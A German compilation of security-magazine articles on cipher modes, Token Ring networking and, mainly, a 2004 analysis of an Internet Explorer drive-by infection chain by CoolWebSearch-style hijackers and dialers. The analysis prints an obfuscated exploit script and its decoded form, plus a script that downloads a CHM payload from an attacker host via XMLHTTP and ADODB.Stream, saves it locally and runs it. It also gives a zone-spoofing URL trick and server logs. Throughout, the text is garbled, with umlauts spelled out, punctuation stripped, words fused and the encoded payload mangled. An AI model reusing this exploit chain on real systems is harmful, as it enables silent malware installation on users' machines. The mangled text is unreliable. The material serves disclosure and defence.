Bei den letzten beiden Modi wird ein Initialisierungsvektor (IV) entweder direkt (OFB) oder inKombination mit dem Klartext (CFB) iteriert mit dem vorgegeben Schluumlssel verschluumlsseltund das Ergebnis (oder auch nur r Bits davon) mit den Klartext XOR-verknuumlpft Doch der CBC-Modus ist noch wichtiger Bei diesem Modus wird jeweils der Chiffretextblockder gerade verschluumlszligelt wurde mit dem naumlchsten Klartextblock XOR-verknuumlpft und diesesErgebnis wird dann verschluumlszligelt Fuumlr den ersten Klartextblock wird dazu derInitilialisierungsvektor IV verwendet Bei Verwendung des CBC-Modus wird durchVeraumlnderung der Reihenfolge der Chiffretextbloumlcke das Ergebnis der Entschluumlsselung ab demersten falschen Block veraumlndert Die Entfernung eines oder mehrerer Chiffretextbloumlckezerstoumlrt der darauf folgenden Klartextblock sodass auch diese Manipulation erkannt werdenkann

Nachdem wir nun wie versprochen in der Welt der computerunterstuumltzten Verschluumlsselungangelangt sind moumlchte ich hier nun einen Schnitt machen Ich denke dass wir vorher dasProblem der sicheren Schluumlsselverteilung klaumlren sollten bevor wir weiter in die Materieeinsteigen Somit steht die dritte Folge des Berichtes ganz im Zeichen derSchluumlsselverteilung Man darf also gespannt bleiben Ich hoffe dass es euch etwas Spaszliggemacht hat diesen Text zu lesen Wenn euch gravierende Fehler aufgefallen sein solltendann meldet mir diese bitte umgehend Ich wuumlrde mich auch uumlber ein Feedback freuenDanke

5 Quellenangaben

- Geheime Botschaften (ISBN 3423330716)- Verschluumlsselte Botschaften (ISBN 3499608073)- Sicherheit und Kryptographie im Internet (ISBN 3528031808)

-- Christoph debu Wille

Index

1 Netzwerktopologie11 BUS-Topologie12 Stern-Topologie13 Ring-Topologie2 Token-Ring21 Token-Passing22 Sicherheit von Token Ring3 Abschluss

1 Netzwerktopologie

Damit Sie uumlberhaupt verstehen koumlnnen worum es sich bei Token Ring handelt gebe ichIhnen einen kleinen Einblick in die drei Hauptvarianten der Netzwerktopologie Mit einerTopologie ist die einzelne Form der Verkabelung oder auch Architektur von Rechner zuRechner gemeint welche in verschiedenen Formen auftreten

Wie schon angesprochen gibt es drei Hauptvarianten also drei Hauptformen von Rechner-Verkabelungen die man sich anhand des jeweiligen Namens gut bildlich vorstellen kann

- BUS-Topologie - Stern-Topologie (auch Twisted-Pair genannt) - Ring-Topologie

11 Bus-Topologie

Diese Netzwerk-Topologie war bis vor kurzem noch die beliebteste Form der Verkabelungzwischen verschiedenen Rechnern im LAN (Local Area Network) da es sich hierbei um dieeinfachste Form der Verkabelung handelt

Sie zaumlhlt deshalb zu den Diffusionsnetzen da alle Informationen uumlber einUumlbertragungsmedium in diesem Fall das Bus-Kabel ausgetauscht werden

Die Komponenten dieses Netzwerktypus teilen sich also sozusagen ein Uumlbertragungsmedium(shared LAN) und haben so Zugriff auf allen Nachrichten die uumlber dieses gemeinsameMedium uumlbertragen werden

Wegen der geringen Performance von 10 MBits welche bei einer hohen Netzauslastung nochweiter sinkt ist die Bus-Topologie im ersten Sinne fuumlr den Anschluss von einer geringenAnzahl an Geraumlten geeignet Hierbei sind alle Geraumlte (Netzwerkkarten) des LANs an einemHauptkabel - dem Bus - durch einen sogenannten T-Verbinder verbunden An den beidenEnden dieses Hauptkabels befindet sich jeweils ein Terminator oder auch der EndwiderstandDie Clients des Netzwerks zapfen dann sozusagen nur noch diese Hauptleitung mit Hilfe desoben genannten T-Verbinders an

Unter diesem T-Verbinder versteht man nichts anderes als eine einfache heutzutage oft benutze Steckverbindung - die Verbindung zweier Teile erfolgt hierbei uumlber eine Steck-Dreh Verbindung

Bei der Bus-Verkabelung regelt das Buszugriffsverfahren CSMACD (Carrier Sense MultipleAccess Collision Detection) welche Komponente des Netzwerks das gemeinsame Kabel zuwelcher Zeit benutzten darf Dies ist von Noumlten weil der Bus beim Versenden von Daten aneine andere Arbeitsstation nicht belegt sein darf das heisst kein anderes Geraumlt im Netzwerkder Bus-Topologie darf ebenfalls Daten versenden

Dabei kann jedes der ans Kabel angeschlossenen Geraumlte den Datenverkehr mithoumlren wasneben der gefaumlhrdeten Privatspaumlhre zu einer hohen Strombelastung des Netzwerks fuumlhrt DerVorteil der Bus-Topologie ist allerdings der geringe Kabelverbrauch Wenn das Hauptkabelallerdings bricht so faumlllt der gesamte Bus sprich das gesamte Netzwerk aus

12 Stern-Topologie

Bei dieser Form handelt es sich um die gebraumluchlichste Art der Verkabelung Im Gegensatzzur Bus-Topologie sind die einzelnen Komponenten in der Stern-Topologie nicht alle miteinem Kabel verbunden sondern mit einem zentralen Teilnehmer im Netzwerk - meistenssteht dieser zentrale Teilnehmer fuumlr einen ServerAllerdings werden auch oft Hubs oder Swichtes eingesetzt um die Geraumlte im Netzwerk zukoppeln In diesem spezifischen Falle spricht man von einem Sternkoppler

Da im Gegensatz zu der Bus-Variante die Geraumlte im Netzwerk nicht alle mit einem Kabelverbunden sind hat die Verkabelung in der Stern-Topologie einen Vorteil allerdings auchgleichzeitig einen NachteilWird eine Verbindung getrennt so kommt es nicht zu einem gesamten Zusammensturz desNetzwerkes - im houmlchsten Falle ist ein Client nicht mehr im Netzwerk erreichbar Aber da alleKomponenten an einem Server Hub Switch oa haumlngen und diese Vermittlungsanlage imNetz ausfaumlllt fallen somit auch alle Verbindungsmoumlglichkeiten im Netzwerk aus was sovielheisst dass Client A keine Verbindung mehr mit Client B aufnehmen kann da es keinen Teilnehmer zwischen der Verkabelung mehr gibt der diese Verbindung ausfuumlhrt

Um so einem Ausfall entgegenzusteuern verhilft man sich der Redundanz also das zentraleGeraumlt zu vervielfaumlltigen um bei einem Ausfall auf ein Alternativgeraumlt zuruumlckgreifen zukoumlnnen

Allerdings kann man bei der Stern-Topologie im Gegensatz zu den anderenHauptverkabelungsvarianten von einer relativ hohen Ausfallsicherheit sprechen Des Weiterenist diese Form der Verkabelung sehr leicht zu erweitern und umzusetzen Der Nachteil isthierbei jedoch der hohe Kabelgebrauch

13 Ring-Topologie

Die Topologie von der dieser Text eigentlich handelt ist die Ring-Topologie In dieser Formder Verkabelung werden jeweils zwei Teilnehmer uumlber eine Zweipunktverbindung verbundenund somit zu einem Ring zusammengeschlossen (Teilnehmer A wird mit Teilnehmer Bverbunden Teilnehmer B wiederum mit Teilnehmer C und dieser wieder mit Teilnehmer Aum den Ring zu schliessen)

Damit Informationen und Signale an ihren Bestimmungsort gelangen werden diese vonTeilnehmer zu Teilnehmer mithilfe des Adressierungsverfahrens weitergeleitet bis das Paketbei dem jeweiligen Geraumlt angekommen ist Mit Hilfe von Repeatern - also auf derPhysikalischen Schicht des ISOOSI-Referenzmodells arbeitenen Signalverstaumlrkern - ist es beidieser Art der Verkabelung moumlglich auch laumlngere Distanzen zu uumlberbruumlcken

Da aber auch bei diesem Typ Teilnehmer von anderen Teilnehmer abhaumlngen kann es auchhier zu einem Zusammenbruch des Netzwerkes kommen sobald ein Teilnehmer ausfaumlllt Soist es naumlmlich nicht mehr moumlglich Pakete von Teilnehmer zu Teilnehmer weiterzuleiten da jaeiner dieser Geraumlte (zB durch ein Kabelbruch) ausgefallen ist und somit nicht mehr seinenDienst in der Gemeinschaft erhalten und durchfuumlhren kann

Falls aber eine Komponente des Netzwerkes ausfaumlllt aber dieser mit einer Protection-Umschaltung ausgestattet ist kann das Netzwerk trotzdem weiterlaufen da bei derProtection-Variante der gesamte Paketfluss von dem Arbeitsweg (im Normalfall verwendeterWeg) uumlber den Ersatzweg weitergeleitet wird

Dafuumlr sind oft bei einer Ring-Topologie zwei Ring-Verkabelungen angelegt und zwar einprimaumlrer und ein sekuumlndaumlrer Ring Faumlllt also ein einzelnes Leitungssegment aus so kommt eszu einer Rekonfigurierung und der primaumlre und sekuumlndaumlre Ring werden miteinanderverbunden So kann das Netz trotz des Ausfalls noch aktiv seine eigentliche Aufgabeerfuumlllen wenn auch mit einer geringeren Kapazitaumlt

2 Token Ring

Bei Token Ring handelt es sich um ein Zugriffverfahren das im Jahre 1985 von IBMveroumlffentlicht und auch von dem Institute of Electrical and Electronics Engineers (IEEE)standardisiert worden ist

Da es sich hierbei um eine kollisionsfreie Uumlbertragung von Datenpaketen handelt kann mitHilfe des Token Ring-Verfahrens eine aumlhnliche Uumlbertragungsrate von 10 oder 100 Mbits wiebeim Ethernet erreicht werden Die LAN-Protokollfamilie arbeitet uumlblicherweise mit demToken-Passing Zugriffsverfahrens in einer Ring-Topologie (siehe 13) Token Ring agiertallerdings nicht immer in einer Ring-Topologie sondern ermoumlglichen Multistation Access Unit (Ringleitungsverteiler) eine sternfoumlrmige Verkabelung wobei hier die MultistationAccess Unit die zentralen Teilnehmer darstellen Diese Form der Benutzung von Token Ringkommt derzeit immer haumlufiger vor

Ferner ist noch zu bemerken dass das Token Ring Protokoll auf der zweiten Schicht des OSI-Schichtenmodell also der Sicherungsschicht (engl data link layer) arbeitet

21 Token-Passing

Wie schon angesprochen arbeitet das Netzwerk das sich dem Token Ring bedient mit demToken-Passing Zugriffverfahren Im Gegensatz zum CSMACD (s Punkt 11) arbeitet diesesVerfahren deterministisch wobei zentral eine feste Wartezeit fuumlr eine Komponente imNetzwerk festgelegt wird nach der diese garantiert das Senderecht erhaumllt Vereinfacht heisstdas wenn Netzwerkkomponente (A) 3 Sekunden zum Senden ihrer Daten brauchtist Netzwerkkomponente (B) garantiert in 3 Sekunden dazu berechtigt ebenfalls Daten zusenden Bei diesem Zugriffverfahren kreist das sogenannte Token von Punkt zu Punkt bzwvon Teilnehmer zu Teilnehmer bis einer dieser Teilnehmer ein Paket versenden moumlchte undsomit das Token beanspruchen will Das Token ist ein 3 Byte groszliges Paket welches jeweilsdem Start Delimiter (SD) das zweite dem Access Control (AC) und das dritte dem EndDelimiter (ED) entsprechen

Der Inhalt eines jeden solchen Token Ring Datenpakets besteht jeweils aus einer Pruumlfsummenach CRC-Verfahren (= Cyclic Redundancy Check) Quell (= Source)- und Zieladresse (=Destination) Steuerinformationen (= Routing) sowie den jeweiligen Daten DieseInformationen werden dann von einem Start Delimiter und einem End Delimiter umschlossen

Will nun ein Teilnehmer (A) ein Paket an einen anderen Teilnehmer (C) versenden besetztdieser Teilnehmer (A) das Token Wenn das Token nun bei dem entsprechenden Teilnehmerangelangt ist haumlngt dieser Teilnehmer die Daten die er versenden will an das Token an undes kreist wieder solange bis er zu Teilnehmer C gelangt um die entsprechendenInformationen abzuliefern Dabei bleibt er immer besetzt und zieht auch an weiterenTeilnehmern vorbei fuumlr die diese Informationen nicht bestimmt sind Die Teilnehmer leitendas Datenpaket dann jeweils weiter Das Token erkennt die Komponente des Netzwerksanhand einer Zieladresse (Destination) die der Teilnehmer A angibt und sich auf das Ziel (C)bezieht

Kommt nun das gewuumlnschte Paket bei dem Teilnehmer C an so nimmt dieser das Datenpaketin seinen Puffer auf dh er kopiert die Informationen und schickt das gleiche Datenpaket miteiner Empfangsbestaumltigung an Teilnehmer A weiter Gelangt auch dieses Paket letztendlichbei dem eigentlichen Absender an so erkennt dieser anhand der Bestaumltigung Teilnehmer Chat mein Paket erhalten und gibt den Token wieder frei

Dies wiederholt sich immer wieder in Form einer Endlosschleife

Kurz zusammengefasstDas Token kreist von Punkt zu Punkt bis einer der Teilnehmer ihn als besetzt makiertErst wenn dieser Teilnehmer eine Empfangsbestaumltigung von dem Teilnehmer erhalten hatzu dem er ein Datenpaket senden wollte gilt der Token wieder als frei Das Token-PassingZugriffverfahren basiert also sozusagen auf dem bekanntem Spiel Stille-Post mit demUnterschied dass die eigentliche weitergegebene Information die gleiche bleibt

22 Sicherheit von Token Ring

Der schwerstwiegende Sicherheitsaspekt im Token Ring Zugriffsverfahren ist dasZusammenarbeiten der Netzwerkkomponenten in einer Ring-TopologieWie schon angesprochen kann es zu einem gesamten Netzwerkzusammenbruch kommensobald nur eine Stelle des Ringes verletzt wird wobei man dann von dem Single Point ofFailure spricht Kommt es zum Beispiel zu einem Kabelunterbrechung so ist die Folge einesder Netzwerkzusammenbruch

Aus diesem Grunde hat man diese Ringstruktur modifiziert was zu einer houmlherenSicherheit fuumlhrte Um eine houmlhere Sicherheit beim Token Ring zu erreichen wird jedeseinzelne Geraumlt seperat im Netzwerk an ein Verkabelungszentrum auch Ring WiringConcentrator (RWC) genannt also dem in Punkt 2 angesprochenen Ringleitungsverteilerangeschlossen

So entsteht ein sternfoumlrmiger Ring der jedoch trotzdem noch wie der uumlbliche Ring fungiertDer Unterschied ist jedoch Faumlllt nun eine Verbindung aus kann das Netzwerk an sich weiternoch seine Funktion ausfuumlhren da die unterbrochene Verbindung einfach umgangen wirdDies ist durch ein Umgehungsrelai im Ringleitungsverteiler moumlglich das durch Strom von derjeweiligen Station versorgt wird

Wird nun eine Verbindung wie zB durch die oben genannte Kabeltrennung zu dieserStation unterbrochen oder auch einfach einer der Ringleitungsverteiler abgeschaltet sokommt es zu einem Kurzschluss und das Relai erlangt logischerweise nicht mehr diebenoumltigte Energie was zur Schliessung des Relais fuumlhrt

Durch diesen Einsatz von Ring Wiring Concentratoren wird die Sicherheit erheblich erhoumlhtda durch die Verkabelungszentren Kabelbruumlche automatisch erkannt und beseitigt werdenDer Nachteil dieses Einsatzes von Verkabelungszentren ist wie der Name eigentlich schonsagt die aufwendige Verkabelung Allerdings uumlberwiegt hier der Aspekt der Sicherheit wasauch der Grund ist warum diese sternfoumlrmige Ringvariante nur noch benutzt wird

Des Weiteren kann es durch das deterministisch arbeitende Zugriffverfahren Token-Passing(s Punkt 21) grundsaumltzlich nie zu einer Daten-Kollision kommen da beim Token-PassingZugriffverfahren immer nur ein Teilnehmer senden kann und es immer festgelegt ist welcherTeilnehmer ein Datenpaket senden darf

Dies ist ein Vorteil gegenuumlber dem im Ethernet uumlblichen CSMACD wobei es oft zu einemMultiple Access also einem gemeinsamen Senden von Datenpaketen im Netzwerk kommtsobald zwei Teilnehmer gleichzeitig mit dem Senden von Daten beginnenNachdem Erkennen (Collision Detection) einer solche Kollision von Datenpaketenmuss nun das Senden von Daten unterbrochen werden und nur nach einem kompliziertenVerfahren zur Berechnung des Zeitpunktes wann ein naumlchstes Datenpaket gesendet werdenkann kann der Teilnehmer seinen Datenverkehr fortfuumlhren

Hier erkennt man schon dass es bei dem Token-Passing Zugriffverfahren im Grundegenommen viel einfacher zugeht und zu dem auch noch mit einer viel houmlheren Sicherheit vorDaten-Kollisionen

-- Simon McSchlumpf K

Sicherheitsrisiko Internet Explorer am Ende

1 Einfuumlhrung

In den vergangenen Wochen ist es vermehrt zu Schlagzeilen um den in aktuelle Windows-Versionen fest integrierten Web-Browser bdquoInternet Explorerldquo gekommenNeue aber auch seit Monaten bekannte und von Microsoft nicht beseitigte Sicherheitsluumlckenwerden weltweit ausgenutzt um Systeme mit Schadsoftware zu infizieren Bankdaten undPassworte der Benutzer zu stehlen oder dessen PC bdquonurldquo zur spaumlteren Verwendung zubdquouumlbernehmenldquo Die Vielzahl bekannter und selbst fuumlr unerfahrene Personen ausnutzbarerSicherheitsluumlcken bringt offensichtlich auch Microsoft in BedraumlngnisAnders ist nicht zu erklaumlren dass bekannte und dokumentierte Sicherheitsmaumlngel teilweiseuumlber Monate von Unbekannten ausgenutzt werden koumlnnen bevor Microsoft Patchesveroumlffentlicht die die betroffenen Fehler beseitigen sollen

Ein begehrtes und ertragreiches Angriffsziel sind die Sicherheitsfunktionen des InternetExplorers Durch so genannte Sicherheitszonen teilt dieser unerschiedlichen Webseitenunterschiedliche Rechte und Privilegien zu Wenn es einer Webseite gelingt dem InternetExplorer eine Zugehoumlrigkeit zu einer privilegierten Sicherheitszone vorzutaumluschen dannstehen dieser wesentlich mehr Moumlglichkeiten zur Verfuumlgung in das System des Benutzerseinzugreifen Am 070604 berichteten einschlaumlgige Medien uumlber eine neue Schwachstelledieser Art

Beispiel lta href=ldquohttpwwwbuerschgensde2F redir=german-securedeldquogtDie Zeichenfolge bdquo2Fldquo wird vom Internet Explorer intern in das Zeichen bdquoldquo konvertiert undvon den Sicherheitsfunktionen auch so interpretiert Die Seite laumluft somit in derSicherheitszone die der Domain bdquowwwbuerschgensdeldquo zugewiesen istDa diese Zeichenkonvertierung aber offensichtlich nicht in allen Programmteilen des InternetExplorer durchgefuumlhrt wird wird als Webseite die Domain bdquogerman-securedeldquo aufgerufenDer Text links davon wird als Sub-Domain betrachtet bdquogerman-securedeldquo laumluft dadurch ineiner fremden Sicherheitszone

Besonders gefaumlhrlich wird eine solche Sicherheitsluumlcke dadurch dass bestimmte Domains aufvielen Systemen als vertrauenswuumlrdig voreingestellt sind und somit erraten werden koumlnnenbdquowindowsupdatemicrosoftcomldquo ist ein typisches BeispielUm die beschriebene Schwachstelle ausnutzen zu koumlnnen muss die Domain des Angreifers sokonfiguriert sein dass unguumlltige Sub-Domains akzeptiert werdenDeshalb laumlsst sich der Exploit auch nur mit praumlparierten Servern testen(Weitere Details hierzu bdquohttpwwwtecchanneldenewsbetriebssystem15869ldquo)

2 HiJacker uumlbernehmen den Internet Explorer

Wir moumlchten hier auf weitere Probleme aufmerksam machen die in Fachkreisen zwar seitlangem bekannt sind in der Oumlffentlichkeit aber noch nicht ausreichend Beachtung gefundenhaben Eines der meist verbreitetsten Probleme im Zusammenhang mit dem MicrosoftInternet Explorer sind bdquoBrowser Hijackerldquo

Als Browser Hijacker werden bestimmte Programme bezeichnet deren Aufgabe darin bestehtdie Kontrolle uumlber den Internet Explorer dauerhaft zu uumlbernehmen und auf unterschiedlichsteArt und Weise immer wieder den Besuch bestimmter Webseiten zu erzwingenIn relativ kurzer Zeit hat sich eine Familie von Browser-Hijackern ungewoumlhnlich schnell underfolgreich verbreitet Die unter der Bezeichnung bdquoCoolWebSearchldquo bzw bdquoCWSldquozusammengefassten Programme stellen fast eine neue Generation von Browser-zentrierterSchadsoftware dar

Die houmlchstentwickelten der schaumltzungsweise 60 bisher aufgetretenen CWS-Varianten dringenuumlber nicht beseitigte Sicherheitsluumlcken des Internet Explorer ein deaktivieren VirenscannerFirewall-Software und andere Schutzmaszlignahmen und nehmen tiefe Eingriffe in Windows-Komponenten vor sodass eine zerstoumlrungsfreie Entfernung des Schaumldlings kaum nochmoumlglich ist

In diesem Artikel versuchen wir den Infektionsweg einer bislang nicht naumlher dokumentiertenCWS-Variante aufzuzeigen und die technischen Hintergruumlnde zu erlaumluternAusgangspunkt der Infektion ndash und damit auch der Recherche ndash ist in unserem Fall eine Dateinamens bdquomsitsexeldquo bdquomsitsexeldquo ist ein so genannter Downloader Seine Aufgabe ist dasHerunterladen und Starten einer weiteren Datei namens bdquowinadmexeldquo von folgendem URL(ldquohttpgrodnomarketcomprojectrussianwinadmexeldquo) Das Programm bdquowinadmexeldquoerfuumlllt nach den Untersuchungen gleich zwei Aufgaben Einerseits ist es ein IE-Hijacker

Das Programm ersetzt saumlmtliche Standardseiten und auch die integrierte Suchfunktion desMicrosoft Browsers durch (ldquohttpwwwsearch-worldnetldquo)Zusaumltzlich werden die Sicherheitseinstellungen des Internet Explorer mit neuen Wertenuumlberschrieben und der URL (ldquohttp632191817connectphpdid=od-stnd298ldquo) aufgerufenDie aufgerufene Webseite leitet den Internet Explorer gleich weiter zubdquo(http632191817downloadphpdid=od-stnd298ampcountry=deampldquo)

Die fuumlr den Benutzer normalerweise unsichtbaren HTTP-Header zeigen dass auch dieseAnfrage nicht zu einer Webseite fuumlhrt sondern vom Server mit einer weiteren Programmdateibeantwortet wird Hier ein Ausschnitt der Serverantwort

+++RESP 28046+++HTTP11 200 OKDate Sat 26 Jun 2004 221114 GMTServer Apache1327 (Unix) PHP423X-Powered-By PHP423Last-Modified Sat 26 Jun 2004 221114 GMTAccept-Ranges bytesContent-Length 10036Keep-Alive timeout=9 max=9Connection Keep-AliveContent-Disposition attachment filename=ldquood-stnd298exeldquo Content-Type applicationforce-download+++CLOSE 28046+++

Unschwer erkennbar anhand der Codezeile bdquoContent-Disposition attachmentfilename=ldquoodstnd298Exeldquoldquo wird hier eine weitere Datei geladen

Die heruntergeladene Datei bdquood-stnd298exeldquo ist ein Dialer der Firma bdquoonline-dialercomldquo ImUnterschied zu allen anderen beteiligten EXE-Dateien ist diese Datei nicht nur mit UPXkomprimiert sondern zusaumltzlich gepatcht sodass UPX sie nicht mehr entkomprimieren kannUPX meldet in diesem Fall bdquoCantUnpackException file is modifiedhackedprotected takecareldquo

3 Details der Internet Explorer in feindliche HaumlndeDie Uumlbernahme

Nun wird es interessant wieder an den Ursprung der Datei bdquowinadmexeldquo zuruumlckzukehren umheraus zu finden was noch im Detail dahinter stecktWir rufen die Domain bdquogrodnomarketcomldquo von der zuvor die Datei bdquowinadmexeldquo geladenwurde direkt auf

Beim Betreten der Seite (indexmshtml) wird ndash unsichtbar fuumlr den Benutzer ndash ein Iframeaufgerufen der gleich zu einer neuen URL (ldquohttp2awmcompopgetphpuser=viconxxldquo)verweist

Die vom Server ausgegebene Webseite bdquogetphpldquo enthaumllt 2 verschiedene Exploits fuumlrbekannte Sicherheitsluumlcken des Internet Explorer die beide auf unterschiedliche Artversuchen die Datei bdquoviconxxchmldquo von folgendem URL herunterzuladen und zu startenhttp2awmcompopchmviconxxchm

ltTEXTAREA id=cxw style=ldquoDISPLAY noneldquogtltobject data=ldquo$PRldquo id=ldquoobj1ldquo type=ldquotextx-scriptletldquo width=ldquo0ldquo height=ldquo0ldquogtltobjectgtltTEXTAREAgtltSCRIPTgtdocumentwrite(cxwvaluereplace(ldquo$PRldquoldquoamp109sitsamp109htmlfilecnosuchmhthttp2awmcompopchmviconxxchm1htmldquo)) ltSCRIPTgt

Im Ersten ist noch ersichtlich dass hier versucht wird eine als bdquomhtml-Redirectldquo bekannteSicherheitsluumlcke auzunutzen

Das zweite Script auf der Seite ist auf primitive Art verschluumlsselt sodass es fuumlr die meistenNutzer nicht lesbar ist

ltscript language=lsquoJavaScriptlsquogteval(StringfromCharCode(131010211711099116105111110321024940411231310323232323232323211510411111977111100971086810597108111103403950461041161093944 1191051101001111194439100105971081111038411111258454948484848591001059710811110376101102116584549484848485910010597108111103721011051031041165849591001059710811110387105100116104584959394146108111999711610511111061391069711897115991141051121165892 3960836782738084328382676110411611611258474750971191094699111109471121111124797471084611210411263118105991111101201206260924711599114105112116629239395913101251310102117110991161051111103210250404113101231310323232323232323210510232401119810649 4611410197100121831169711610132616132524113103232323232323232123131032323232323232323232323232323232100111991171091011101164698111100121461051101101011147284777632436132396073708265776932736861109121105102114971091013278657769611091211051021149710910132838267 619239464797471144611210411292393287736884726148327269737172 846148626047737082657769623959131032323232323232323232323232323232115101116841051091011111171164039109121105102114971091014610112010199839911410511211640102494611611183116114105110103404141394453484159131032323232323232323232323232323232115101 1168410510910111111711640391091211051021149710910146101120101998399114105112116409239102494041923941394453494159131032323232323232321251310125131011510111684105109101111117116403910250 404159394432554841591310))ltscriptgtNach der Ruumlckkonvertierung in lesbaren Text erhalten wir folgendes Script ltscriptlanguage=lsquoJavaScriptlsquogtfunction f1()showModalDialog(lsquo2htmlsquowindowlsquodialogTop-10000dialogLeft-10000dialogHeight1dialogWidth1lsquo)location=lsquojavascriptlsquoltSCRIPTSRC=http2awmcompopalphpviconxxgtltscriptgtlsquolsquo function f2() if (obj1readyState == 4)documentbodyinnerHTML += sbquoltIFRAME ID=myiframe NAME=myiframe SRC=lsquoarphplsquo WIDTH=0HEIGHT=0gtltIFRAMEgtlsquo setTimeout(lsquomyiframeexecScript(f1toString())lsquo50) setTimeout(lsquomyiframeexecScript(lsquof1()lsquo)lsquo51)setTimeout(lsquof2()lsquo 70)ltscriptgt

Das Exploit-Script ruft die URL bdquohttp2awmcompoparphpldquo in einem weiteren aufgrundder Groumlszligenangabe unsichtbaren Iframe auf Gleichzeitig wird neues Internet Explorer Fenstergeoumlffnet Auch dieses ist unsichtbar da es auf Koordinaten weit auszligerhalb des sichtbarenBildschirmbereichs platziert wird

Die Serverantwort wollen wir Ihnen nicht vorenthalten denn auch da sind bereits weitereinteressante Details verborgen

+++GET 17876+++GET poparphp HTTP11User-Agent Opera751 (Windows NT 50 U) [en] Host 2awmcomAccept texthtml applicationxmlq=09 applicationxhtml+xml imagepng imagejpeg imagegifimagex-xbitmap q=01Accept-Language deq=10enq=09Accept-Charset windows-1252 utf-8 utf-16 iso-8859-1q=06 q=01 Accept-Encoding deflategzip x-gzip identity q=0 TE deflate gzip chunked identity trailersConnection keep-alive+++RESP 17876+++HTTP11 302 FoundDate Sat 26 Jun 2004 001403 GMTServer Apache1329 (Unix) (Red-HatLinux) PHP434 X-Powered-By PHP434Location URLresshdoclcdllHTTP_501htmConnection closeTransfer-Encoding chunkedContent-Type texthtmlX-Pad avoid browser bug+++CLOSE 17876+++

Durch die Serverantwort auf die Anfrage nach arphp wird im Internet Explorer eine lokalerzeugte Fehlermeldung provoziert Da diese vom Internet Explorer selbst erzeugtenMeldungsseiten in der fuumlr Benutzer nicht sichtbaren Sicherheitszone bdquolokales Systemldquoausfuumlhrt werden haben sie praktisch unbeschraumlnkte Rechte im System

Im zweiten Schritt ruft das Skript die Datei bdquolphpldquo vom URLbdquohttp2awmcompopalphpviconxxldquo ab

Die Datei bdquolphpldquo enthaumllt folgendes Skript

function doit(file) var x=new ActiveXObject(ldquoMicrosoftXMLHTTPldquo)xOpen(ldquoGETldquo bdquohttp2awmcompopchmldquo+file0) xSend()var s = new ActiveXObject(ldquoADODBStreamldquo)sMode = 3sType = 1sOpen()sWrite(xresponseBody)sSaveToFile(ldquoCldquo+file2)documentwrite(lsquoltobject type=ldquotexthtmlldquo data=ldquoms-itsClsquo + file + sbquo1htmldquogtltobjectgtlsquo) function getRealShell() myiframedocumentwrite(ldquoltscrldquo+ldquoiptgtldquo + doit + bdquodoit(lsquoviconxxchmlsquo)ltscrldquo+ldquoiptgtldquo)documentwrite(ldquoltIFRAME ID=myiframe SRC=lsquoaboutblanklsquo WIDTH=200 HEIGHT=200gtltIFRAMEgtldquo)setTimeout(ldquogetRealShell()ldquo100)

Das Skript nutzt eine weitere Schwachstelle im Sicherheitsmodell des Internet Explorer umdie im vorhergehenden Schritt erzeugte Fehlermeldung durch eigene Befehle zu ersetzenohne dass diese dabei ihre Privilegien als systemeigene Meldung verliertDank dieser Privilegien kann das Skript nun das bdquoADODBStreamldquo Objekt benutzen DiesesObjekt stellt normalerweise nur systemeigenen Webseiten Funktionen fuumlr den Zugriff aufdas lokale Dateisystem zu Verfuumlgung

Im naumlchsten Schritt laumldt das Exploit-Skript die Datei bdquoviconxxchmldquo herunter und startet sieCHM-Dateien sind kompilierte Hilfedateien die durch den Internet Explorer interpretiert undmit lokalen Rechten auf dem befallenen Computer ausgefuumlhrt werdenIn der Datei befindet sich eine EXE-Datei namens bdquoon-lineexeldquo und eine HTML-Datei diefolgenden Aufruf enthaumllt

ltOBJECT NAME=lsquoXlsquo CLASSID=lsquoCLSID11120607-1001-1111-1000-110199901123lsquo CODEBASE=lsquoon-lineexelsquogtlta href=ldquoon-lineexeldquogtltagt

bdquoon-lineexeldquo ist ein herkoumlmmlicher Dialer Ihn hat der Urheber der nicht mehr zusaumltzlichgeschuumltzt da in einer realen Situation in dieser Phase bereits alle Sicherheitsmaszlignahmenuumlberwunden waumlren

4 Dialer amp Firmen

Die Dialer-Datei mit dem Namen bdquocaxcabldquo beinhaltet nach unseren Angaben weitere Detailsuumlber Serverstandort Signatur Zertifizierungsstelle und vermeintliche Urheber100 sichere Erkentnisse kann man jedoch nicht treffen da bis erscheinen des Artikels einigedieser URLs bereits nicht mehr erreichbar sind und die Firmen sich gegenseitig hinundherverkaufen um sich bestmoumlglich wohl zu verschleiern

So scheint es dass ein Unternehmen mit dem Namen Thawte Consulting (Pty) Ltd sowieHALDEX Ltd E-commerce GIBRALTAR fuumlr einige dieser URLs und das Marketingverantwortlich sind so geht es aus der Dialer-Datei hervor Das Unternehmen ThawteConsulting Ltd ist fuumlr das Zertifikat der Dialer-Datei verantwortlich die auf ein weiteresUnternehmen der Haldex Ltd Gibraltar supportonlinedialercom ausgestellt ist

Eine entsprechende Zertifikatabbildung finden haben wir fuumlr Sie im Internet bereit gestellthttpwwwgerman-securedezertifikat4jpgInteressante Einblicke in die Firmenverstrickungen die auch nach Deutschland fuumlhren sindbereits diskutiert worden und finden sich hierhttpforumcomputerbetrugdeviewtopicphpt=6025amppostdays=0amppostorder=ascampstart=0

5 Schlussbemerkung Ausblick GefahrenDer IIS und Internet Explorer zusammen ausgebeutet

Diese Analyse und der entsprechenden Auswertung zeigt deutlich dass in der Zukunft mitausnutzbaren Codes und Scripten immer mehr User den Gefahren des Internet zur Abzockeausgesetzt werden So werden in unserem Beispiel gleich mehrere Sicherheitsluumlcken desInternet Explorer von Microsoft ausgenutzt um einen Schaden auf fremden Rechnern zuverursachen Allein die Datei bdquowinadmexeldquo wurde entsprechend so umgeschrieben dass dieSicherheit des Internet Explorer zu dieser Zeit komplett auszliger Kraft gesetzt wird

Der ahnungslose Benutzer des Internet Explorer wird somit Opfer von diversen Exploits undSicherheitsluumlcken die ausgenutz werden aber er gibt auch die Gewalt uumlber den Browser aneinen HiJacker ab Durch die installierte Backdoor ist es den unbekannten Inhabern derScripte und Internetseiten uumlber die diese Scripte geladen werden jederzeit moumlglich weitereProgramme undoder schadhafte Programme auf dem befallen Computer abzulegen und zustarten Es sei jedoch erwaumlhnt dass Microsoft am 030704 ein Workaround gegen dieSchwachstelle bdquoADODBStreamldquo anbietet dieser Workaround jedoch schlieszligt dieSicherheitsluumlcke ansich nicht Lediglich koumlnnen einige der Exploits diese Luumlcke nicht mehrunmittelbar ausnutzen und es fallen einige Funktionalitaumlten des Internet Explorer weg

